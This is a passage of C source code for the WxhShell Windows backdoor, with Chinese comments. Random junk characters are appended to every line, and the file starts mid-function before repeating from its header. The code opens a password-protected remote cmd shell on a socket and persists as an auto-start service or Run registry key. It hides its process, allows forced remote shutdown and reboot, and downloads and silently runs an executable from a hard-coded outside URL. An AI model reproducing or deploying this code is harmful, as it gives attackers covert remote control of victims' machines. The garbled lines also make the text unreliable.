    } Pa6pq;4St  
    break; r'`7}@H*  
    } MkL)  
  // 关机 $J^fpXO  
  case 'd': { ua)jGif  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m"T}em#   
    if(Boot(SHUTDOWN)) ftG3!}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9QaE)wt  
    else { ?ac4GA(  
    closesocket(wsh); Vr|e(e.%  
    ExitThread(0); o@BV&|  
    } /Kd7# @  
    break; l n\qvD_  
    } b[GhI+_  
  // 获取shell m<49<O6o  
  case 's': { RC/45:hZZ  
    CmdShell(wsh); `% QvCAR  
    closesocket(wsh); 2E?!Q I\O  
    ExitThread(0); PcBD;[cn  
    break; 7o0zny3?  
  } !b"?l"C+u  
  // 退出 sO` oapy  
  case 'x': { n>?D-)g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +SR{ FF  
    CloseIt(wsh); S3:AitGJ  
    break; zs~Tu  
    } lH;V9D^  
  // 离开 A#6zI NK#B  
  case 'q': { LQHL4jRXU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zGFD71=#  
    closesocket(wsh); a%e`  
    WSACleanup(); hbOXR.0z  
    exit(1); Z4EmRa30 p  
    break; &iInru3  
        } D8<C7  
  } 37$ ^ie)  
  } A*eVz]i,k&  
*I)J%#  
  // 提示信息 uN:KivVe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HeO:=OE~>  
} y ?&hA! x  
  } kzjuW  
ujRXAN@mC  
  return; +4.s4&f)  
} :{#O   
odSPl{.>d  
// shell模块句柄 >UMxlvTg&  
int CmdShell(SOCKET sock) 4SZ,X^]I>  
{ {Q3OT  
STARTUPINFO si; +?Ii=*7n  
ZeroMemory(&si,sizeof(si)); eD?&D_l~6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !+Xul_XG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cf88Fd6l/  
PROCESS_INFORMATION ProcessInfo; Oj;*Gi9E  
char cmdline[]="cmd"; {YgU23;q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iCPm7AU  
  return 0; bDM},(  
} R>* z8n  
*^uK=CH1?(  
// 自身启动模式 %(1O jfZc  
int StartFromService(void) ~<?Zj  
{ TIKkS*$  
typedef struct *3H=t$1G}  
{ _Xt/U>N  
  DWORD ExitStatus; 16zReI(  
  DWORD PebBaseAddress; V9,<>  
  DWORD AffinityMask; 8i154#l+\  
  DWORD BasePriority; dMH_:jb  
  ULONG UniqueProcessId; GLn=*Dh#  
  ULONG InheritedFromUniqueProcessId; r*+~(83k  
}   PROCESS_BASIC_INFORMATION; .`}TND~  
9h amxi  
PROCNTQSIP NtQueryInformationProcess; q1T)H2S  
->rqr#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {5~h   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F(yR\)!C  
68XJ`/d  
  HANDLE             hProcess; -67Z!N  
  PROCESS_BASIC_INFORMATION pbi; 2n,z`(=  
&{V|%u}v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gS5REC4I/  
  if(NULL == hInst ) return 0; !?nO0Ao-$  
KClkPL!jP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y#j7vO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TP rq:"K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LN|(Z*  
5rows]EJJl  
  if (!NtQueryInformationProcess) return 0; Nvgi&iBh8  
i%-yR DIX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q>,&@  
  if(!hProcess) return 0; z2iMpZ  
(oG YnN,2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }PBme'kP  
ENZym  
  CloseHandle(hProcess); c!ZZMC s  
k( :Bl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6G2~'zqPc~  
if(hProcess==NULL) return 0; < D/K[mz-  
>qo!#vJc a  
HMODULE hMod; iT}>a30]B  
char procName[255]; R iLl\S#  
unsigned long cbNeeded; ga;nM#/  
= LNU%0m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9"S2KT@8  
DyN[Yp|V  
  CloseHandle(hProcess); :1A:g^n  
W3,r@mi^s7  
if(strstr(procName,"services")) return 1; // 以服务启动 Ddr.6`VJ  
gADf9x"b  
  return 0; // 注册表启动 |*NLWN.ja)  
} |dgiW"tUm  
F9 r5 Z  
// 主模块 ] 0X|_bU  
int StartWxhshell(LPSTR lpCmdLine) wH ,PA:  
{ Pvc)-A  
  SOCKET wsl; !-lI<$S:  
BOOL val=TRUE; N;3!oo4  
  int port=0; <  o?ua}  
  struct sockaddr_in door; juR>4SH  
uppa`addK  
  if(wscfg.ws_autoins) Install(); HPt3WBRzS;  
VW*%q0i-  
port=atoi(lpCmdLine); CtCReH03  
nnyT,e%  
if(port<=0) port=wscfg.ws_port; v#?DWeaFS_  
?{ )'O+s  
  WSADATA data; \6wltTW]#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @rYZ0`E9  
+j 9+~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N|yA]dg[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VeWh9:"bJ  
  door.sin_family = AF_INET; *:CTIV5N0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M7/5e3  
  door.sin_port = htons(port); NCKR<!(  
D,cD]tB2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v@{y}  
closesocket(wsl); rN&fFI  
return 1; ^aB;Oo  
} g$uiwqNA%  
S%\5"uGa  
  if(listen(wsl,2) == INVALID_SOCKET) { +ywz@0nx  
closesocket(wsl); jr`T6!\  
return 1; ]Ozz"4Z  
} E{Wn&?i>A  
  Wxhshell(wsl); @ym:@<D  
  WSACleanup(); nk|(cyt)  
vFe=AY<Rt|  
return 0; t\/H.Hb  
E <yQB39  
} r ~{nlLO}  
"q?(rx;  
// 以NT服务方式启动 5$U49j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oO tjG3B({  
{ &E]) sJ0  
DWORD   status = 0; %Ik5|\ob?  
  DWORD   specificError = 0xfffffff; JY c:@\   
s]m]b#1!r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %72# tY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (Iv@SiZf(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~aotV1"D  
  serviceStatus.dwWin32ExitCode     = 0; MEI&]qI  
  serviceStatus.dwServiceSpecificExitCode = 0; RhJ3>DL  
  serviceStatus.dwCheckPoint       = 0; &3iI\s[  
  serviceStatus.dwWaitHint       = 0; W>' DQB  
XI Mh<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 570ja7C:  
  if (hServiceStatusHandle==0) return; 1Lf -  
y;ey(  
status = GetLastError(); .Yk}iHcW.  
  if (status!=NO_ERROR) 4M"'B A<  
{ Ue9d0#9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |}77'w :  
    serviceStatus.dwCheckPoint       = 0; '@24<T]  
    serviceStatus.dwWaitHint       = 0; k x:+mF  
    serviceStatus.dwWin32ExitCode     = status; 8;qOsV)UDT  
    serviceStatus.dwServiceSpecificExitCode = specificError; Oyb9 ql^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NkUY_rKPb  
    return; F42^Uoaz  
  } ;R+Gf!1  
r`ftflNh(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n 'ZPB  
  serviceStatus.dwCheckPoint       = 0; P=}l.R*1G  
  serviceStatus.dwWaitHint       = 0; i{}m 8K)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3x(Y+ ymP  
} bSTori5  
-n@,r%`UK  
// 处理NT服务事件,比如:启动、停止 t,Tq3zB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =>S[Dh  
{ sB0]lj-[Un  
switch(fdwControl) ."Pn[$'.  
{ Ks3YrKk;p  
case SERVICE_CONTROL_STOP: -wUT@a  
  serviceStatus.dwWin32ExitCode = 0; ~e|E5[-i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <YCjo[(~  
  serviceStatus.dwCheckPoint   = 0; GB+$ed5@<  
  serviceStatus.dwWaitHint     = 0; 7IUJHc?  
  { [?6+ r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G9S3r3  
  } *[>{ 9V  
  return; 0]ai*\,W7~  
case SERVICE_CONTROL_PAUSE: sfVzVS[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `_&vvJPn@!  
  break; K z^.v`  
case SERVICE_CONTROL_CONTINUE: nVpDjUpN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wI7.M Gt  
  break; yTc&C)Jba  
case SERVICE_CONTROL_INTERROGATE: HZ(giAyjq  
  break; a"cw%L  
}; >uJu!+#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UJS vtD{g  
} F`;q9<NYRW  
W G3 _(mM  
// 标准应用程序主函数 -R9{Ak  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2kgSIvk\  
{ -4Q\FLC'k  
fda2dY;  
// 获取操作系统版本 Y;\@ 5TgQ,  
OsIsNt=GetOsVer(); a{e1g93}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZkibfVwe  
1< b~="  
  // 从命令行安装 87pu\(,'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7iy2V;}  
Us[F@  
  // 下载执行文件 _or_Vw!  
if(wscfg.ws_downexe) { g6gwNC:aF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KfK5e{yT  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0{!-h  
} /`qQWB5b  
;Gu(Yoa}y  
if(!OsIsNt) { "MPS&OK  
// 如果时win9x,隐藏进程并且设置为注册表启动 = g%<xCp  
HideProc(); Vf(..8  
StartWxhshell(lpCmdLine); OHY|< &*  
} \"I418T K  
else 9qq6P!  
  if(StartFromService()) 0W 1bZPM  
  // 以服务方式启动 ,-n_( U  
  StartServiceCtrlDispatcher(DispatchTable); =q[+ e(,3  
else (Ms0pm-#t  
  // 普通方式启动 75h]# k9\  
  StartWxhshell(lpCmdLine);  ?nJv f  
TPj,4&|  
return 0; 8XCT[X  
} ZP:+'\&J  
uxX 3wY;M  
\R 3O39[  
>kuu\  
=========================================== Vo%ikR #  
`OZiN;*|  
1k%HGQM{  
Ea[SS@'R  
.*?-j?U.  
Dz$dJF1 8  
" "-HWw?rx/  
jlyuu  
#include <stdio.h> u3cl7~- yW  
#include <string.h> on7? V<  
#include <windows.h> x=W5e ^0?  
#include <winsock2.h> 1Si$Q  
#include <winsvc.h> *\0h^^|@  
#include <urlmon.h> z  +c8G  
"?_ af  
#pragma comment (lib, "Ws2_32.lib") Q{ g{  
#pragma comment (lib, "urlmon.lib") eS%8WmCV9<  
^ %1u3  
#define MAX_USER   100 // 最大客户端连接数 #/t+h#jG  
#define BUF_SOCK   200 // sock buffer {XXnMO4uR;  
#define KEY_BUFF   255 // 输入 buffer  ;t/KF"  
$F/xv&t  
#define REBOOT     0   // 重启 PmE 8O  
#define SHUTDOWN   1   // 关机 'O 7>w%#  
i_y%HG  
#define DEF_PORT   5000 // 监听端口 n&Q0V.  
DRVvC~M-,  
#define REG_LEN     16   // 注册表键长度 n482?Wp  
#define SVC_LEN     80   // NT服务名长度 Rd@?2)Xm  
*]Eyf")  
// 从dll定义API 7Zft]C?|@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t#!AfTY$w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LmKY$~5P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2H1?f|0>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `Gg,oCQg  
5p7i9"tgn  
// wxhshell配置信息 eV9,G8  
struct WSCFG { \h}sA  
  int ws_port;         // 监听端口 ?%T]V+40  
  char ws_passstr[REG_LEN]; // 口令 E]pD p /D  
  int ws_autoins;       // 安装标记, 1=yes 0=no j^/^PUR  
  char ws_regname[REG_LEN]; // 注册表键名 z>*\nomOn=  
  char ws_svcname[REG_LEN]; // 服务名 I#(?xHx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K:$GmV9o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3my_Gp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A*kN I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *"V) h I5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u&j_;Y!6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $%1oZ{&M  
T'5MO\  
}; +^$E)Ol  
3'55!DE  
// default Wxhshell configuration d263#R  
struct WSCFG wscfg={DEF_PORT, )SaMfP1=v  
    "xuhuanlingzhe", Q^'xVS_.  
    1, ^ b{~]I  
    "Wxhshell", > =Na,D  
    "Wxhshell", Ibv`/8xh  
            "WxhShell Service", p3IhK>  
    "Wrsky Windows CmdShell Service", )|&FBz;  
    "Please Input Your Password: ", Q*9Y.W.8  
  1, fKkS_c 2  
  "http://www.wrsky.com/wxhshell.exe", 9$ixjkIg  
  "Wxhshell.exe" F>k/;@d  
    }; LP>GM=S#"  
dp }zG+  
// 消息定义模块 7\i> >  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DNRWE1P2bg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o}L\b,])  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vo(bro4ZQi  
char *msg_ws_ext="\n\rExit."; 5QG?*Z~?7  
char *msg_ws_end="\n\rQuit."; i&L!?6 5-f  
char *msg_ws_boot="\n\rReboot..."; =pb ru=/  
char *msg_ws_poff="\n\rShutdown..."; xeRoif\4c  
char *msg_ws_down="\n\rSave to "; SM.KM_%K  
L}t P_ *  
char *msg_ws_err="\n\rErr!"; I9sQPa  
char *msg_ws_ok="\n\rOK!"; .bNG:y>  
=GC,1WVEqV  
char ExeFile[MAX_PATH]; u"U7aYGkY  
int nUser = 0; cE*d(g  
HANDLE handles[MAX_USER]; 'Z6x\p  
int OsIsNt; gAK"ShOhG=  
]&"01M~+K  
SERVICE_STATUS       serviceStatus; NqN}] nu6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gq.l=xS  
*$Z?Owl7  
// 函数声明 Aot9^@4])  
int Install(void); o}Q3mCB  
int Uninstall(void); *dx E (dP  
int DownloadFile(char *sURL, SOCKET wsh); 6&"GTK  
int Boot(int flag); {Ok]$0L  
void HideProc(void); -=2V4WU~  
int GetOsVer(void); $g }aH(vf  
int Wxhshell(SOCKET wsl); V17!~  
void TalkWithClient(void *cs); Eu[/* t+l  
int CmdShell(SOCKET sock); T@ zV   
int StartFromService(void);  qy/t<2'  
int StartWxhshell(LPSTR lpCmdLine); Wfsd$kN6{  
|u#7@&N1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z)<lPg!YAR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =F46v{la  
;esOe\z jE  
// 数据结构和表定义 HDj260a  
SERVICE_TABLE_ENTRY DispatchTable[] = a-NicjV#  
{ YLb$/6gj6  
{wscfg.ws_svcname, NTServiceMain}, Oh,]"(+  
{NULL, NULL} +?6@%mW'  
}; Bk/&H-NI  
&& b;Wr  
// 自我安装 :c9 H2  
int Install(void) X?'pcYSL  
{ ]3L/8]:  
  char svExeFile[MAX_PATH]; M AL;XcRR  
  HKEY key; `ix&j8E22w  
  strcpy(svExeFile,ExeFile); fN6n2*wr(  
"Ve9\$_s  
// 如果是win9x系统,修改注册表设为自启动 $-paYQ4  
if(!OsIsNt) { 1H8/b D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q6xA@"GJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lLS7K8;4W  
  RegCloseKey(key); *eMMfxFl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C40o_1g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (P-$tHt  
  RegCloseKey(key); y N,grU(  
  return 0; @iN"]GFjS  
    } -]Q\G  
  } YRU95K [  
} H'&[kgnQ@  
else { /25Ay  
s133N?  
// 如果是NT以上系统,安装为系统服务 yV*4|EkvW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m"wP]OQH*+  
if (schSCManager!=0) ^p3W}D  
{ ]#vi/6\J  
  SC_HANDLE schService = CreateService Y;k iU  
  ( Yw_!40`  
  schSCManager, ZWQ/BgKB  
  wscfg.ws_svcname, Hz>Dp !  
  wscfg.ws_svcdisp, jW>K#vj  
  SERVICE_ALL_ACCESS, "NTiQ}i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gmZ] E45  
  SERVICE_AUTO_START, \85~~v@  
  SERVICE_ERROR_NORMAL, 664D5f#EJ  
  svExeFile, / |isRh|  
  NULL, 7 4]qz,  
  NULL, s%1Z raMvJ  
  NULL, *NC@o*  
  NULL, #@F.wV0  
  NULL &_74h);2I:  
  ); %a!gN  
  if (schService!=0) %Rk DR  
  { :TkMS8  
  CloseServiceHandle(schService); e9>~mtx  
  CloseServiceHandle(schSCManager); `UT UrM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aa{+,(  
  strcat(svExeFile,wscfg.ws_svcname); %^[D+1ULb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /O~Np|~v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B:Hr{%O  
  RegCloseKey(key); c:""&>Z  
  return 0; ri6KD  
    }  s;-AZr)  
  } lX"6m}~D  
  CloseServiceHandle(schSCManager); P~%+KxwZQ  
} &0xM 2J  
} "uFwsjz&B  
uaZHM@D  
return 1; 'c# }^@G  
} U>DCra;  
mv^X{T  
// 自我卸载 !;0K=~(Y^  
int Uninstall(void) l2I%$|)d  
{ SYa O'c  
  HKEY key; %`YR+J/V  
[2E(3`-u  
if(!OsIsNt) { h`iOs>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hz)i.AA 4  
  RegDeleteValue(key,wscfg.ws_regname); u08QE,  
  RegCloseKey(key); lc3Gu78 A/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M=3gV?N  
  RegDeleteValue(key,wscfg.ws_regname); m=SI *V  
  RegCloseKey(key); "lSh 4X  
  return 0; bc3`x1)\^  
  } Ej1 <T,w_  
} dFy GI?  
} [bRE=Zr$Ry  
else { Kxg@(Q  
J_?v=dW`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :Qh rh(i  
if (schSCManager!=0) b'Km-'MtH  
{ "p7nngn~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U_ l9CZ  
  if (schService!=0) YoBe!-E  
  { v*%52_   
  if(DeleteService(schService)!=0) { ESYF4-d+  
  CloseServiceHandle(schService); V@[C=K  
  CloseServiceHandle(schSCManager); ~]q>}/&YLo  
  return 0; e['<.Yf+  
  } }1W@  
  CloseServiceHandle(schService); [c;#>UQMf  
  } is~2{:  
  CloseServiceHandle(schSCManager); w ?*eBLJ(G  
} YV!hlYOBi  
} 2;0eW&e   
N$x&k$w R  
return 1; 6?;z\ AP&  
} tym:C7v%~  
@5ud{"|2  
// 从指定url下载文件 xiDgQTDz  
int DownloadFile(char *sURL, SOCKET wsh) =4l @A>  
{ _{-[1-lN5_  
  HRESULT hr; dDIR~ !T  
char seps[]= "/"; ]!&$&t8.  
char *token;  *} ?  
char *file; n,2   
char myURL[MAX_PATH]; =^i K^)  
char myFILE[MAX_PATH]; @Z2np{X:  
Gx6%Z$2n  
strcpy(myURL,sURL); zRou~Kxi  
  token=strtok(myURL,seps); o +7)cI  
  while(token!=NULL) -*z7`]5J  
  { Jv+w{"&  
    file=token; Fx|`0 LI+C  
  token=strtok(NULL,seps); ][ IOlR  
  } ');vc~C  
;81,1 Ie<~  
GetCurrentDirectory(MAX_PATH,myFILE); &lLfVa-l  
strcat(myFILE, "\\"); U||GeEd  
strcat(myFILE, file); `;J`O02  
  send(wsh,myFILE,strlen(myFILE),0); YWvD+  
send(wsh,"...",3,0); w"wW0uE^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b^Re947{g  
  if(hr==S_OK) gXJBb+P   
return 0; QA*<$v  
else e6Y>Bk   
return 1; <r.QS[:h  
owQ,op #  
} /Pkz3(1  
. ump? M  
// 系统电源模块 ?5J#  
int Boot(int flag) 5l 3PAG  
{ ]B?M3`'>  
  HANDLE hToken; Hd\V?#H  
  TOKEN_PRIVILEGES tkp; V`1{*PrI@L  
U/^#nU.,  
  if(OsIsNt) { 6]Is"3ca  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O ~6%Iz`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .Zv~a&GE  
    tkp.PrivilegeCount = 1; nqm=snh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z$JJ0X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UZ2_FP  
if(flag==REBOOT) { YLGE{bS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kuD$]A Q`&  
  return 0; ,1#? 0q  
} V< W;[#"  
else { xdgAu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <Q\KS  
  return 0; vxj:Y'}  
} h_[{-WC  
  } }!oEjcX'  
  else { .i I{  
if(flag==REBOOT) { G<n75!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M|mfkIk0MB  
  return 0; ]}XDDPbZ}  
} $Gv@lZ@=  
else { >kK@tJn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZBK0`7#&EH  
  return 0; Nw1*);b[y  
} P:4"~ ]}  
} dAx ? ,  
i[IFD]Xy!j  
return 1; Lo{wTYt:J  
} iX]OF.:   
zR?R,k)m  
// win9x进程隐藏模块 jRU: un4  
void HideProc(void) 6dR+qJa6i  
{ >5Yn`Fc5  
$t):r@L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _d5:Y  
  if ( hKernel != NULL ) Y b3ckktY  
  { rs{)4.I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sk cK>i.[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;v@G  
    FreeLibrary(hKernel); 6r<a  
  } Lz.khE<  
t.28IHJ  
return; U 5J _Y  
} LJ/He[r|[  
S3ooG14Ls  
// 获取操作系统版本 eV|N@  
int GetOsVer(void) "dX~J3$  
{ >X$JeME3  
  OSVERSIONINFO winfo; Y:ly x-lj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); | 6JKB'  
  GetVersionEx(&winfo); FT- .gi0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )bOfs*S  
  return 1; z/ 1$G"  
  else =# Sw.N  
  return 0; C!*!n^qA  
} ='o3<}  
0w3c8s.  
// 客户端句柄模块 FfJ;r'eGs  
int Wxhshell(SOCKET wsl) MF4 (  
{ B@&sG 5ES  
  SOCKET wsh; V2Vr7v=Y"  
  struct sockaddr_in client; f[k#Znr  
  DWORD myID; iH }-  
Xkhd"Axi  
  while(nUser<MAX_USER) a.Z@Z!*  
{ noxJr/A]  
  int nSize=sizeof(client); eut2x7Z(c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iQgg[ )  
  if(wsh==INVALID_SOCKET) return 1; 8@m$(I +  
eUA]OF @  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >o?v[:u*  
if(handles[nUser]==0) 6e+'Y"v  
  closesocket(wsh); 3Tl<ST\  
else \9VF)Y.ke  
  nUser++; Q6qW?*Y  
  } (4+P7Z,Nc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E{|B&6$[}  
H`CID*Ji  
  return 0; V%oZT>T3  
} 0hemXvv1  
5[ zN M  
// 关闭 socket M,]|L ch  
void CloseIt(SOCKET wsh) k."p&  
{ \~ D(ww  
closesocket(wsh); WP L@v+  
nUser--; xak)YOLRV  
ExitThread(0); }L_YpG7  
} Lb/GL\J)  
p@Y=6Bw  
// 客户端请求句柄 'E_~ |C  
void TalkWithClient(void *cs) ':vZ&  
{ QhZg{v[d  
vV}w>Ap[  
  SOCKET wsh=(SOCKET)cs; k8w\d+!v  
  char pwd[SVC_LEN]; 8z#Qp(he  
  char cmd[KEY_BUFF]; F^u12R)  
char chr[1]; >NKJ@4Y  
int i,j; x s{pGQ6Q  
f jx`|MJ  
  while (nUser < MAX_USER) { nqyD>>  
_? gCOr  
if(wscfg.ws_passstr) { R/hI XO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~lw9sm*2v2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *S.U8;*Xj  
  //ZeroMemory(pwd,KEY_BUFF); 5?7AzJl>  
      i=0; @j/2 $  
  while(i<SVC_LEN) { &?@C^0&QV  
Y %"Ji[  
  // 设置超时 j7~FR{: j  
  fd_set FdRead; *jlIV$r_  
  struct timeval TimeOut; ;V}:0{p  
  FD_ZERO(&FdRead); CxF d/X,  
  FD_SET(wsh,&FdRead); %!<Y  
  TimeOut.tv_sec=8; ;77K&#1  
  TimeOut.tv_usec=0; |\,OlX,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &xnQLz:#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vF27+/2+R  
XnyN*}8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QKG3>lU  
  pwd=chr[0]; 3Qy@^"  
  if(chr[0]==0xd || chr[0]==0xa) { q)k:pQ   
  pwd=0; KNVu[P)rv  
  break; %_OjmXOfe  
  } ^#Ii=K-[^  
  i++; <u64)8'  
    } T }#iXgyx  
Hb)FeGsd).  
  // 如果是非法用户,关闭 socket w' 7sh5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b[74$W{  
} {X!OK3e  
/WuYg OI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0pZvW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VXeO}>2S  
EgjJywNhd2  
while(1) { \ 2\{c1df  
>+2&7u  
  ZeroMemory(cmd,KEY_BUFF); 9kL,69d2  
bv+u7B6,  
      // 自动支持客户端 telnet标准   ~aob@(  
  j=0; :"%/u9<A  
  while(j<KEY_BUFF) { G|wtl(}3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2cMC ZuO  
  cmd[j]=chr[0]; r_T)| ||v  
  if(chr[0]==0xa || chr[0]==0xd) { R/vHq36d  
  cmd[j]=0; RzEzNV  
  break; b#VtPn]  
  } 3!CUJs/W  
  j++; I1Q!3P  
    } GcBqe=/B!  
Yuv i{ 0  
  // 下载文件 }v ZOPTP  
  if(strstr(cmd,"http://")) { *1)>He$qL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GJ ^c^`  
  if(DownloadFile(cmd,wsh)) ./YR8#,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Hg G<.H>  
  else @>2pY_  
